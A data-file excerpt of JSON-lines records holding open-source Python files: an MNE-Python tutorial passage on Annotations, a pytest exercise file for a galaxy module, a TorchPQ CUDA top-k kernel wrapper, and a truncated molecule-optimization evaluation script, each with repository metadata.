``orig_time`` is the time of the first sample of data.\n\nraw_delta = (1 / raw.info['sfreq'])\nprint('raw.first_sample is {}'.format(raw.first_samp * raw_delta))\nprint('annot_none.onset[0] is {}'.format(annot_none.onset[0]))\nprint('raw_a.annotations.onset[0] is {}'.format(raw_a.annotations.onset[0]))\n\n###############################################################################\n# Valid operations in :class:`mne.Annotations`\n# --------------------------------------------\n#\n# Concatenate\n# ~~~~~~~~~~~\n#\n# It is possible to concatenate two annotations with the + operator (just like\n# lists) if both share the same ``orig_time``\n\nannot = mne.Annotations(onset=[10], duration=[0.5],\n                        description=['foobar'],\n                        orig_time=orig_time)\nannot = annot_orig + annot  # concatenation\nprint(annot)\n\n###############################################################################\n# Iterating, Indexing and Slicing :class:`mne.Annotations`\n# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n#\n# :class:`~mne.Annotations` supports iterating, indexing and slicing.\n# Iterating over :class:`~mne.Annotations` and indexing with an integer returns\n# a dictionary. While slicing returns a new :class:`~mne.Annotations` instance.\n#\n# See the following examples and usages:\n\n# difference between indexing and slicing a single element\nprint(annot[0])  # indexing\nprint(annot[:1])  # slicing\n\n###############################################################################\n# How about iterations?\n\nfor key, val in annot[0].items():  # iterate on one element which is dictionary\n    print(key, val)\n\n###############################################################################\n\nfor idx, my_annot in enumerate(annot):  # iterate on the Annotations object\n    print('annot #{0}: onset={1}'.format(idx, my_annot['onset']))\n    print('annot #{0}: duration={1}'.format(idx, my_annot['duration']))\n    print('annot #{0}: description={1}'.format(idx, my_annot['description']))\n\n###############################################################################\n\nfor idx, my_annot in enumerate(annot[:1]):\n    for key, val in my_annot.items():\n        print('annot #{0}: {1} = {2}'.format(idx, key, val))\n\n###############################################################################\n# Iterating, indexing and slicing return a copy. This has implications like the\n# fact that changes are not kept.\n\n# this change is not kept\nannot[0]['onset'] = 42\nprint(annot[0])\n\n# this change is kept\nannot.onset[0] = 42\nprint(annot[0])\n\n\n###############################################################################\n# Save\n# ~~~~\n#\n# Note that you can also save annotations to disk in FIF format::\n#\n#     >>> annot.save('my-annot.fif')\n#\n# Or as CSV with onsets in (absolute) ISO timestamps::\n#\n#     >>> annot.save('my-annot.csv')\n#\n# Or in plain text with onsets relative to ``orig_time``::\n#\n#     >>> annot.save('my-annot.txt')\n#\n", "meta": {"hexsha": "6ab60133914997cb2e4412a038f2f34300b72361", "size": 9566, "ext": "py", "lang": "Python", "max_stars_repo_path": "stable/_downloads/b8b303cfb8e97a910e96ef74a51abfb4/plot_object_annotations.py", "max_stars_repo_name": "drammock/mne-tools.github.io", "max_stars_repo_head_hexsha": "5d3a104d174255644d8d5335f58036e32695e85d", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "stable/_downloads/b8b303cfb8e97a910e96ef74a51abfb4/plot_object_annotations.py", "max_issues_repo_name": "drammock/mne-tools.github.io", "max_issues_repo_head_hexsha": "5d3a104d174255644d8d5335f58036e32695e85d", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "stable/_downloads/b8b303cfb8e97a910e96ef74a51abfb4/plot_object_annotations.py", "max_forks_repo_name": "drammock/mne-tools.github.io", "max_forks_repo_head_hexsha": "5d3a104d174255644d8d5335f58036e32695e85d", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 38.8861788618, "max_line_length": 79, "alphanum_fraction": 0.60830023, "include": true, "reason": "import numpy", "num_tokens": 2112, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.3960681520167196, "lm_q2_score": 0.24220563419533922, "lm_q1q2_score": 0.09592993794378558}}
{"text": "\"\"\"\nTests the methods and functions in the ``galaxy`` module.\n\nImplemented Tests\n-----------------\n\nEnsure that the class can be called!\n\nGenerate some data using a pre-determined seed and check the results match the expected output.\n\nYour Tasks\n----------\n\nTest the ``write_galaxies`` option for ``generate_random_data``. Read this data back in\nand ensure that it is correct.  Should this data be kept on disk after the test? Should\nthe test delete it?\n\nGenerate some random galaxies and properties and write them both to file.\nIn the test proper, read in the galaxies, execute the same functions, then check if the\nresults match the answer written to file.\n\nGenerate a random set of galaxies and check their output. How do you handle random numbers\nin testing scenarios?\n\nWhat happens when there are zero galaxies in the region passed to\n``mass_within_region()``? How should we handle this case? Is there a \"correct\" answer?\n\nExtend the module to handle 3 spatial dimensions. How would you update the tests to\naccount for this? BE CAREFUL! At every step, we want to ensure that our tests are still\npassing.\n\nAuthor: Jacob Seiler\n\"\"\"\n\nfrom example_scripts import galaxy\n\nimport pytest\n\n\ndef test_gal_class():\n    \"\"\"\n    In this test, we just want to ensure that the Galaxy class can be instantiated. Easiest\n    test ever but still could be useful!\n    \"\"\"\n\n    gal = galaxy.Galaxy(0.5, -21.5, -20)\n\n    assert(gal.x == 0.5)\n    assert(gal.y == -21.5)\n    #assert(gal.z == 142.4)\n    assert(gal.mass == -20)\n\n\n@pytest.mark.parametrize(\n        \"x_bound, y_bound, expected_mass, expected_N, seed\",\n        [([0,50.0], [23.0, 28.0], 17.55854294814121, 29, 777)]\n        )\ndef test_mass_in_region(x_bound, y_bound, expected_mass, expected_N, seed):\n    \"\"\"\n    Check that if we generate galaxies using a specific random seed, then the statistics\n    match the expected values.\n\n    Can you extend the ``parameterize`` decorator to test a few other combinations?\n\n    Can you implement a similar test that reads previously generated galaxies, calculates\n    some statistics, then compares the answer to the \"correct\" answer?\n\n    In some instances, we may WANT a test to fail to check certain conditions. In these\n    instances, we want the individual test to fail, but for the overall pytest to pass.\n    Search the ``pytest.mark.parametrize`` docs for the correct way to do this. Can you\n    choose some parameters to get this scenario to work? When would this be useful?\n\n    Parameters\n    ----------\n\n    x_bound, y_bound: [float, float]\n        The minimum and maximum bounds that define the region we're summing/averaging\n        inside.\n\n    expected_mass: float\n        The mass inside the region specified by\n        (x_bound[0], y_bound[0]), (x_bound[1], y_bound[1]).\n\n    expected_N : int\n        The number of galaxies inside the region specified by\n        (x_bound[0], y_bound[0]), (x_bound[1], y_bound[1]).\n\n    seed: int\n        Seed used to initialize the state of the random generator. If ``None``, will use\n        the system clock as defined by ``numpy.random.seed()``.\n    \"\"\"\n\n    import numpy as np\n\n    # First generate some random galaxies.\n    gals = galaxy.generate_random_data(seed=seed)\n\n    # If the seed is 777, then we know what the output should be.\n    if seed == 777:\n\n        mass_in_region, N_in_region = galaxy.mass_within_region(gals, x_bound, y_bound)\n\n        # Because 'mass_in_region' is a floating point, don't want to test pure equality.\n        test_result = np.allclose(mass_in_region, expected_mass)\n        assert(test_result)\n\n        assert(N_in_region == expected_N)\n\n    # Can you implement a solution to handle truly random galaxies?\n    else:\n\n        # Is this enough for a debug message...?\n        print(\"Tests for testing seeds other than 777 not implemented.\")\n        assert False\n", "meta": {"hexsha": "074dcb4dcb6cc9c1144673d4fbed245da3dc4966", "size": 3841, "ext": "py", "lang": "Python", "max_stars_repo_path": "example_scripts/tests/test_galaxy.py", "max_stars_repo_name": "PaulEasterMonash/software-dev", "max_stars_repo_head_hexsha": "451d2fd9d4dedd5aae7b0bae60532799d9e34b5e", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 2, "max_stars_repo_stars_event_min_datetime": "2019-09-18T09:36:59.000Z", "max_stars_repo_stars_event_max_datetime": "2019-09-19T00:02:47.000Z", "max_issues_repo_path": "example_scripts/tests/test_galaxy.py", "max_issues_repo_name": "PaulEasterMonash/software-dev", "max_issues_repo_head_hexsha": "451d2fd9d4dedd5aae7b0bae60532799d9e34b5e", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "example_scripts/tests/test_galaxy.py", "max_forks_repo_name": "PaulEasterMonash/software-dev", "max_forks_repo_head_hexsha": "451d2fd9d4dedd5aae7b0bae60532799d9e34b5e", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 17, "max_forks_repo_forks_event_min_datetime": "2019-09-18T03:59:51.000Z", "max_forks_repo_forks_event_max_datetime": "2020-02-08T03:53:34.000Z", "avg_line_length": 33.4, "max_line_length": 95, "alphanum_fraction": 0.6990367092, "include": true, "reason": "import numpy", "num_tokens": 908, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4804786780479071, "lm_q2_score": 0.1993079931480623, "lm_q1q2_score": 0.0957632410721623}}
{"text": "import torch\nimport cupy as cp\nimport math\n\nfrom .CustomKernel import CustomKernel\nfrom ..util import get_absolute_path\n\nclass IVFPQTopkCuda(CustomKernel):\n  def __init__(\n      self,\n      m=8,\n      k=256,\n      tpb=256,\n      n_cs=4,\n      stack_capacity=4,\n      sm_size=48*256*4,\n    ):\n    super(IVFPQTopkCuda, self).__init__()\n    assert tpb >= 32\n    assert tpb == self.next_power_of_2(tpb)\n    assert k == 256\n    assert m * 1024 <= sm_size\n    assert m % n_cs == 0\n    assert stack_capacity >= 2\n    self.m = m\n    self.k = k\n    self.tpb=tpb\n    self.n_cs = n_cs\n    self.sm_size = sm_size\n    self.stack_capacity = stack_capacity\n    \n    with open(get_absolute_path(\"kernels\",\"cuda\",\"ivfpq_topk.cu\"), \"r\") as f:\n      self.code = f.read()\n    varnames = \", \".join([f\"d{i}\" for i in range(n_cs)])\n    code = (self.code\n      .replace(\"_VARNAMES_\", varnames)\n      .replace(\"_M_\", str(m))\n      .replace(\"_K_\", str(k))\n      .replace(\"_TPB_\", str(self.tpb))\n      .replace(\"_NCS_\", str(n_cs))\n      .replace(\"_STACKCAP_\", str(stack_capacity))\n    )\n    \n    self._topk_fn = cp.RawKernel(\n      code = code,\n      name = 'ivfpq_topk',\n      options = (\n        '--maxrregcount=255',\n        '--use_fast_math'\n      ),\n      backend='nvrtc',\n    )\n    self._topk_fn.max_dynamic_shared_size_bytes = sm_size\n\n    self._topk_residual_fn = cp.RawKernel(\n      code = code,\n      name = 'ivfpq_topk_residual',\n      options = (\n        '--maxrregcount=255',\n        '--use_fast_math'\n      ),\n      backend='nvrtc',\n    )\n    self._topk_residual_fn.max_dynamic_shared_size_bytes = sm_size\n\n    self._topk_residual_precomputed_fn = cp.RawKernel(\n      code = code,\n      name = 'ivfpq_topk_residual_precomputed',\n      options = (\n        '--maxrregcount=255',\n        '--use_fast_math'\n      ),\n      backend='nvrtc',\n    )\n    self._topk_residual_precomputed_fn.max_dynamic_shared_size_bytes = sm_size\n\n  @staticmethod\n  def next_power_of_2(x):\n    return 1 if x == 0 else 2**math.ceil(math.log2(x))\n  \n  def topk(\n      self, data, precomputed,\n      is_empty, cell_start, cell_size,\n      n_probe_list, n_candidates=None\n    ):\n    \"\"\"\n      data: shape=[n_subvectors // n_cs, n_data, n_cs], dtype=uint8\n      precomputed: shape=[n_query, n_clusters], dtype=float32\n      is_empty: shape=[n_data], dtype=uint8\n      cell_start: shape=[n_query, max_n_probe], dtype=int64\n      cell_size: shape=[n_query, max_n_probe], dtype=int64\n      n_probe_list: shape=[n_query], dtype=int64\n      n_candidates: int, `k` in topk\n    \"\"\"\n    n_data = data.shape[1]\n    n_query = cell_start.shape[0]\n    n_probe = cell_start.shape[1]\n    assert precomputed.shape == (self.m, n_query, self.k)\n    assert data.shape[0] == self.m // self.n_cs\n    assert data.shape[2] == self.n_cs\n    assert is_empty.shape[0] == n_data\n    assert cell_size.shape[1] == n_probe\n    assert data.dtype == torch.uint8\n    assert precomputed.dtype == torch.float32\n    assert cell_start.dtype == cell_size.dtype == torch.int64\n    assert is_empty.dtype == torch.uint8\n    assert n_probe_list.shape == (n_query, )\n    assert n_probe_list.dtype == torch.int64\n    if n_candidates is None:\n      n_candidates = self.tpb\n    else:\n      assert n_candidates <= self.tpb\n    n_candidates_pow_of_2 = 2 * self.next_power_of_2(math.ceil(n_candidates / 2))\n    assert n_candidates_pow_of_2 in [2 * 2**i for i in range(10)]\n\n    tot_size = cell_size.sum(dim=1)\n    values = torch.empty(n_query, n_candidates_pow_of_2, device=\"cuda:0\", dtype=torch.float32)\n    values.fill_(float(\"-inf\"))\n    indices = torch.zeros(n_query, n_candidates_pow_of_2, device=\"cuda:0\", dtype=torch.int64)\n    threads_per_block = (self.tpb,)\n    blocks_per_grid = (n_query,)\n\n    self._topk_fn(\n      grid=blocks_per_grid,\n      block=threads_per_block,\n      shared_mem = self.sm_size,\n      args=[\n        data.data_ptr(),\n        precomputed.data_ptr(),\n        is_empty.data_ptr(),\n        cell_start.data_ptr(),\n        cell_size.data_ptr(),\n        tot_size.data_ptr(),\n        n_probe_list.data_ptr(),\n        values.data_ptr(),\n        indices.data_ptr(),\n        n_data, n_query, n_probe, n_candidates_pow_of_2\n        ],\n      stream=self.stream\n    )\n    return (values[:, :n_candidates], indices[:, :n_candidates])\n\n  def topk_residual(\n      self, data, precomputed,\n      is_empty, cell_start, cell_size,\n      base_sims, n_probe_list, n_candidates=None\n    ):\n    \"\"\"\n      data: shape=[n_subvectors // n_cs, n_data, n_cs], dtype=uint8\n      precomputed: shape=[n_query, max_n_probe, n_subvectors, n_clusters], dtype=float32\n      is_empty: shape=[n_data], dtype=uint8\n      cell_start: shape=[n_query, max_n_probe], dtype=int64\n      cell_size: shape=[n_query, max_n_probe], dtype=int64\n      base_sims: shape=[n_query, max_n_probe], dtype=float32\n      n_probe_list: shape=[n_query], dtype=int64\n      n_candidates: int, `k` in topk\n    \"\"\"\n    n_data = data.shape[1]\n    n_query = cell_start.shape[0]\n    n_probe = cell_start.shape[1]\n    assert precomputed.shape == (n_query, n_probe, self.m, self.k)\n    assert data.shape == (self.m // self.n_cs, n_data, self.n_cs)\n    assert is_empty.shape == (n_data,)\n    assert cell_size.shape == (n_query, n_probe)\n    assert base_sims.shape == (n_query, n_probe)\n    assert data.dtype == torch.uint8\n    assert precomputed.dtype == torch.float32\n    assert cell_start.dtype == cell_size.dtype == torch.int64\n    assert is_empty.dtype == torch.uint8\n    assert base_sims.dtype == torch.float32\n    assert n_probe_list.shape == (n_query, )\n    assert n_probe_list.dtype == torch.int64\n    precomputed = precomputed.contiguous()\n    base_sims = base_sims.contiguous()\n    if n_candidates is None:\n      n_candidates = self.tpb\n    else:\n      assert n_candidates <= self.tpb\n    n_candidates_pow_of_2 = 2 * self.next_power_of_2(math.ceil(n_candidates / 2))\n    assert n_candidates_pow_of_2 in [2 * 2**i for i in range(10)]\n\n    tot_size = cell_size.sum(dim=1)\n    values = torch.empty(n_query, n_candidates_pow_of_2, device=\"cuda:0\", dtype=torch.float32)\n    values.fill_(float(\"-inf\"))\n    indices = torch.zeros(n_query, n_candidates_pow_of_2, device=\"cuda:0\", dtype=torch.int64)\n    threads_per_block = (self.tpb,)\n    blocks_per_grid = (n_query,)\n\n    self._topk_residual_fn(\n      grid=blocks_per_grid,\n      block=threads_per_block,\n      shared_mem = self.sm_size,\n      args=[\n        data.data_ptr(),\n        precomputed.data_ptr(),\n        base_sims.data_ptr(),\n        is_empty.data_ptr(),\n        cell_start.data_ptr(),\n        cell_size.data_ptr(),\n        tot_size.data_ptr(),\n        n_probe_list.data_ptr(),\n        values.data_ptr(),\n        indices.data_ptr(),\n        n_data, n_query, n_probe, n_candidates_pow_of_2\n        ],\n      stream=self.stream\n    )\n    return (values[:, :n_candidates], indices[:, :n_candidates])\n\n  def topk_residual_precomputed(\n      self, data, part1, part2, cells, base_sims,\n      is_empty, cell_start, cell_size,\n      n_probe_list, n_candidates=None\n    ):\n    \"\"\"\n      data: shape=[n_subvectors // n_cs, n_data, n_cs], dtype=uint8\n      part1: shape=[n_query, n_subvectors, n_pq_clusters], dtype=float32\n      part2: shape=[n_cells, n_subvectors, n_pq_clusters], dtype=float32\n      cells: shape=[n_query, max_n_probe], dtype=int64\n      base_sims: shape=[n_query, max_n_probe], dtype=float32\n      is_empty: shape=[n_data], dtype=uint8\n      cell_start: shape=[n_query, max_n_probe], dtype=int64\n      cell_size: shape=[n_query, max_n_probe], dtype=int64\n      n_probe_list: shape=[n_query], dtype=int64\n      n_candidates: int, `k` in topk\n    \"\"\"\n    n_data = data.shape[1]\n    n_query = cell_start.shape[0]\n    n_probe = cell_start.shape[1]\n    assert data.shape == (self.m // self.n_cs, n_data, self.n_cs)\n    assert is_empty.shape == (n_data,)\n    assert cell_size.shape == (n_query, n_probe)\n    assert base_sims.shape == (n_query, n_probe)\n    assert data.dtype == torch.uint8\n    assert part1.dtype == part2.dtype == torch.float32\n    assert cell_start.dtype == cell_size.dtype == torch.int64\n    assert is_empty.dtype == torch.uint8\n    assert base_sims.dtype == torch.float32\n    assert n_probe_list.shape == (n_query, )\n    assert n_probe_list.dtype == torch.int64\n    part1 = part1.contiguous()\n    part2 = part2.contiguous()\n    cells = cells.contiguous()\n    base_sims = base_sims.contiguous()\n    if n_candidates is None:\n      n_candidates = self.tpb\n    else:\n      assert n_candidates <= self.tpb\n    n_candidates_pow_of_2 = 2 * self.next_power_of_2(math.ceil(n_candidates / 2))\n    assert n_candidates_pow_of_2 in [2 * 2**i for i in range(10)]\n\n    tot_size = cell_size.sum(dim=1)\n    values = torch.empty(n_query, n_candidates_pow_of_2, device=\"cuda:0\", dtype=torch.float32)\n    values.fill_(float(\"-inf\"))\n    indices = torch.zeros(n_query, n_candidates_pow_of_2, device=\"cuda:0\", dtype=torch.int64)\n    threads_per_block = (self.tpb,)\n    blocks_per_grid = (n_query,)\n\n    self._topk_residual_precomputed_fn(\n      grid=blocks_per_grid,\n      block=threads_per_block,\n      shared_mem = self.sm_size,\n      args=[\n        data.data_ptr(),\n        part1.data_ptr(),\n        part2.data_ptr(),\n        cells.data_ptr(),\n        base_sims.data_ptr(),\n        is_empty.data_ptr(),\n        cell_start.data_ptr(),\n        cell_size.data_ptr(),\n        tot_size.data_ptr(),\n        n_probe_list.data_ptr(),\n        values.data_ptr(),\n        indices.data_ptr(),\n        n_data, n_query, n_probe, n_candidates_pow_of_2\n        ],\n      stream=self.stream\n    )\n    return (values[:, :n_candidates], indices[:, :n_candidates])\n", "meta": {"hexsha": "be7e9b967f91dabd8e452f1667e69e0dbeaec4cc", "size": 9583, "ext": "py", "lang": "Python", "max_stars_repo_path": "torchpq/kernels/IVFPQTopkCuda.py", "max_stars_repo_name": "DeMoriarty/TorchPQ", "max_stars_repo_head_hexsha": "16e3b3c3c3c701f3772de46075d2fc78ce80a153", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 103, "max_stars_repo_stars_event_min_datetime": "2021-02-10T18:01:56.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-30T21:35:05.000Z", "max_issues_repo_path": "torchpq/kernels/IVFPQTopkCuda.py", "max_issues_repo_name": "DeMoriarty/TorchPQ", "max_issues_repo_head_hexsha": "16e3b3c3c3c701f3772de46075d2fc78ce80a153", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 9, "max_issues_repo_issues_event_min_datetime": "2021-05-28T14:52:33.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-03T13:09:25.000Z", "max_forks_repo_path": "torchpq/kernels/IVFPQTopkCuda.py", "max_forks_repo_name": "DeMoriarty/TorchPQ", "max_forks_repo_head_hexsha": "16e3b3c3c3c701f3772de46075d2fc78ce80a153", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 10, "max_forks_repo_forks_event_min_datetime": "2021-04-24T04:25:24.000Z", "max_forks_repo_forks_event_max_datetime": "2022-02-24T07:30:42.000Z", "avg_line_length": 34.103202847, "max_line_length": 94, "alphanum_fraction": 0.6506313263, "include": true, "reason": "import cupy", "num_tokens": 2622, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5117166047041654, "lm_q2_score": 0.18713267536239914, "lm_q1q2_score": 0.0957588972656537}}
{"text": "import os\nimport tqdm\nimport math\nimport time\nimport argparse\nimport numpy as np\nimport multiprocessing\nimport tensorflow as tf\nimport _pickle as cPickle\nfrom itertools import repeat\nfrom multiprocessing import Pool\nfrom src.official.transformer.v2 import optgen_v8, optgen_v9, optgen_v11, optgen_v12, optgen_v13, optgen_v21\nfrom src.score_result import penalized_logp, qed, drd2, similarity\nfrom src.official.transformer.utils.molecule_tokenizer import Moltokenizer\nfrom src.official.transformer.v2 import optgen_v1, optgen_v2, optgen_v3, optgen_v4, optgen_v5, optgen_v6, optgen_v7\n\n\n__author__ = 'Bonggun Shin'\n\n\nclass Timer(object):\n    def __init__(self, name=None):\n        self.name = name\n\n    def __enter__(self):\n        self.tstart = time.time()\n\n    def __exit__(self, type, value, traceback):\n        if self.name:\n            print('[%s]' % self.name)\n        print('Elapsed: %s' % (time.time() - self.tstart))\n\n\ndef static_var(varname, value):\n    def decorate(func):\n        setattr(func, varname, value)\n        return func\n    return decorate\n\n\n@static_var(\"model\", None)\ndef get_dev_model(params):\n    if get_dev_model.model is None:\n        print(\"dev_model is creating!!!\")\n        model_name = \"optgen_%s\" % params[\"model_version\"]\n        get_dev_model.model = eval(model_name).create_model(params, is_train=False)\n        print(\"=========================== %s dev created!! ==========================\" % model_name)\n\n    else:\n        print(\"dev_model is reused!!!\")\n\n    return get_dev_model.model\n\n\n@static_var(\"model\", None)\ndef get_trn_model(params):\n    if get_trn_model.model is None:\n        print(\"trn_model is creating!!!\")\n        model_name = \"optgen_%s\" % params[\"model_version\"]\n        get_trn_model.model = eval(model_name).create_model(params, is_train=True)\n        print(\"=========================== %s trn created!! ==========================\" % model_name)\n\n    else:\n        print(\"trn_model is reused!!!\")\n\n    return get_trn_model.model\n\ndef get_model(params, epoch_num):\n\n    trn_model = get_trn_model(params)\n    model_filename = \"%s/%s\" % (params[\"model_dir\"], \"cp-%04d.ckpt\" % (epoch_num))\n    print(\"Load weights: {}\".format(model_filename))\n    trn_model.load_weights(model_filename).expect_partial()\n\n    dev_model = get_dev_model(params)\n    dev_model.summary()\n\n    # model.layers[12].set_weights(trn_model.layers[4].get_weights())\n    model_name = \"optgen_%s\" % params[\"model_version\"]\n    trn_optgen_layer_index = get_layer_index(trn_model, name=model_name)\n    dev_optgen_layer_index = get_layer_index(dev_model, name=model_name)\n    dev_model.layers[dev_optgen_layer_index].set_weights(trn_model.layers[trn_optgen_layer_index].get_weights())\n    print(\"trn_optgen_layer_index(%d, %s), dev_optgen_layer_index(%d, %s)\" %\n          (trn_optgen_layer_index, trn_model.layers[trn_optgen_layer_index].name,\n           dev_optgen_layer_index, dev_model.layers[dev_optgen_layer_index].name))\n    print(\"set weights for (%s) layer\" % dev_model.layers[dev_optgen_layer_index].name)\n\n    if params[\"use_propnet\"] == 1:\n        print(\"========================== Transferring PropNET weights....==========================\")\n        transfer_weights_from_propnet(dev_model, params)\n    if params[\"use_simnet\"] == 1:\n        print(\"========================== Transferring SimNET weights....==========================\")\n        transfer_weights_from_simnet(dev_model, params)\n\n    return dev_model\n\n\ndef get_layer_index(model, name=None, custom_name=None):\n    for idx, l in enumerate(model.layers):\n        if name==\"embedding\" and \"embedding_freezable\" in l.name:\n            if custom_name==l.custom_name:\n                return idx\n        else:\n            if name==l.name:\n                return idx\n\n    print(\"wrong name\", name)\n    exit()\n    return -1\n\n\n\ndef transfer_weights_from_propnet(model, params):\n    propnet_weight_path = params[\"propnet_weight_path\"]\n    print(propnet_weight_path)\n    propnet_weights = cPickle.load(open(propnet_weight_path, 'rb'))\n\n    model_layers = [l for l in model.layers]\n    # model_layers[63]  # Emb 42\n    # model_layers[64]  # Bidirectional 43\n    # model_layers[65]  # idense\n    # model_layers[66]  # Dense2 44\n    layer_index = get_layer_index(model, name='embedding', custom_name='propnet_emb')\n    print(\"setting propnet weights: %s...\" % model_layers[layer_index].name)\n    model_layers[layer_index].set_weights([propnet_weights[\"embedding_shared_weights\"]])\n\n    layer_index = get_layer_index(model, name='propnet_bidirectional')\n    print(\"setting propnet weights: %s...\" % model_layers[layer_index].name)\n    lstm_weights = []\n    lstm_weights.append(propnet_weights[\"forward_prop_lstm_0\"])\n    lstm_weights.append(propnet_weights[\"forward_prop_lstm_1\"])\n    lstm_weights.append(propnet_weights[\"forward_prop_lstm_2\"])\n    lstm_weights.append(propnet_weights[\"backward_prop_lstm_0\"])\n    lstm_weights.append(propnet_weights[\"backward_prop_lstm_1\"])\n    lstm_weights.append(propnet_weights[\"backward_prop_lstm_2\"])\n    model_layers[layer_index].set_weights(lstm_weights)\n\n    layer_index = get_layer_index(model, name='propnet_idense')\n    output_weights = []\n    output_weights.append(propnet_weights[\"idense0\"])\n    output_weights.append(propnet_weights[\"idense1\"])\n    print(\"setting propnet weights: %s...\" % model_layers[layer_index].name)\n    model_layers[layer_index].set_weights(output_weights)\n\n    layer_index = get_layer_index(model, name='propnet_output')\n    output_weights = []\n    output_weights.append(propnet_weights[\"output0\"])\n    output_weights.append(propnet_weights[\"output1\"])\n    print(\"setting propnet weights: %s...\" % model_layers[layer_index].name)\n    model_layers[layer_index].set_weights(output_weights)\n\n    print(\"setting propnet weights done!!!\")\n\n\ndef transfer_weights_from_simnet(model, params):\n    simnet_weight_path = params[\"simnet_weight_path\"]\n    print(simnet_weight_path)\n    simnet_weights = cPickle.load(open(simnet_weight_path, 'rb'))\n    model_layers = [l for l in model.layers]\n    # model_layers[63]  # Emb 42\n    # model_layers[64]  # Bidirectional 43\n    # model_layers[65]  # idense\n    # model_layers[66]  # Dense2 44\n    layer_index = get_layer_index(model, name='embedding', custom_name='simnet_emb')\n    print(\"setting simnet weights: %s...\" % model_layers[layer_index].name)\n    model_layers[layer_index].set_weights([simnet_weights[\"embedding_shared_weights\"]])\n\n    layer_index = get_layer_index(model, name='simnet_bidirectional')\n    print(\"setting simnet weights: %s...\" % model_layers[layer_index].name)\n    lstm_weights = []\n    lstm_weights.append(simnet_weights[\"forward_sim_lstm_0\"])\n    lstm_weights.append(simnet_weights[\"forward_sim_lstm_1\"])\n    lstm_weights.append(simnet_weights[\"forward_sim_lstm_2\"])\n    lstm_weights.append(simnet_weights[\"backward_sim_lstm_0\"])\n    lstm_weights.append(simnet_weights[\"backward_sim_lstm_1\"])\n    lstm_weights.append(simnet_weights[\"backward_sim_lstm_2\"])\n    model_layers[layer_index].set_weights(lstm_weights)\n\n    layer_index = get_layer_index(model, name='simnet_idense')\n    output_weights = []\n    output_weights.append(simnet_weights[\"simdense0\"])\n    output_weights.append(simnet_weights[\"simdense1\"])\n    print(\"setting simnet weights: %s...\" % model_layers[layer_index].name)\n    model_layers[layer_index].set_weights(output_weights)\n\n    layer_index = get_layer_index(model, name='simnet_output')\n    output_weights = []\n    output_weights.append(simnet_weights[\"simoutput0\"])\n    output_weights.append(simnet_weights[\"simoutput1\"])\n    print(\"setting simnet weights: %s...\" % model_layers[layer_index].name)\n    model_layers[layer_index].set_weights(output_weights)\n\n    print(\"setting simnet weights done!!!\")\n\n\ndef get_score(src, trg, task='logp04'):\n    sim = similarity(src, trg)\n    if sim >= 1.0:\n        return 0\n    if task=='logp04':\n        logp_improvement = penalized_logp(trg) - penalized_logp(src)\n        # return logp_improvement * (0.6+min(sim, 0.4))\n        if sim<0.4 and sim>=0:\n            return 0\n        else:\n            return logp_improvement\n\n    elif task=='qed':\n        if sim < 0.4:\n            return 0\n        else:\n            return qed(trg)\n\n    elif task=='drd2':\n        if sim < 0.4:\n            return 0\n        else:\n            try:\n                val = drd2(trg)\n            except:\n                print(\"***************\\n***************\\n***************\\n***************\\n\")\n                print(\"***************\\n***************\\n***************\\n***************\\n\")\n                print(trg)\n                print(\"***************\\n***************\\n***************\\n***************\\n\")\n                print(\"***************\\n***************\\n***************\\n***************\\n\")\n                val = 0\n            return val\n\n    else:\n        assert 'wrong task: %s' % task\n\n\ndef get_test_smiles(base_path, test_name, is_dev):\n    file_name = '%s/v10.all_kinds_of_smiles.cpkl' % base_path\n    (names, smiles_dataset) = cPickle.load(open(file_name, 'rb'))\n    trn_smiles, dev_logp_smiles, dev_qed_smiles, dev_drd2_smiles, dev_all_smiles, tst_logp_smiles, tst_qed_smiles, \\\n    tst_drd2_smiles, tst_all_smiles, all_smiles = smiles_dataset\n\n\n    if is_dev==1:\n        if test_name == 'logp04':\n            test_smiles = dev_logp_smiles\n\n        elif test_name == 'qed':\n            test_smiles = dev_qed_smiles\n\n        elif test_name == 'drd2':\n            test_smiles = dev_drd2_smiles\n\n    else:\n        if test_name == 'logp04':\n            test_smiles = tst_logp_smiles\n\n        elif test_name == 'qed':\n            test_smiles = tst_qed_smiles\n\n        elif test_name == 'drd2':\n            test_smiles = tst_drd2_smiles\n\n    file_name = '%s/v10.property_for_all_smiles.cpkl' % base_path\n    property_dic = cPickle.load(open(file_name, 'rb'))\n\n    return test_smiles, property_dic\n\n\ndef worker_wrapper(args):\n    return worker(*args)\n\n\n# def worker(return_dict, outputs, smiles_list, n, wid, start_index, end_index):\ndef worker(outputs, smiles_list, n, wid, start_index, end_index):\n    \"\"\"\n    Args:\n      return_dic: store result here\n      n: int, number of data\n      wid: int, worker id\n      strat_index: int, the start index of original data that this worker will work on\n      end_index: int, the end index of original data that this worker will work on\n    \"\"\"\n    print('[worker-%d] start_index(%d), end_index(%d) n(%d)' %\n          (wid, start_index, end_index, n))\n\n    if end_index > n:\n        end_index = n\n\n    score_all = []\n    for idx in range(start_index, end_index, 1):\n        output = outputs[idx]\n        smiles_x = smiles_list[idx]\n        smiles_y = moltokenizer.decode(output)\n        score = get_score(smiles_x, smiles_y, task=args.test)\n        score_all.append(score)\n\n    # return_dict[wid] = score_all\n\n    # 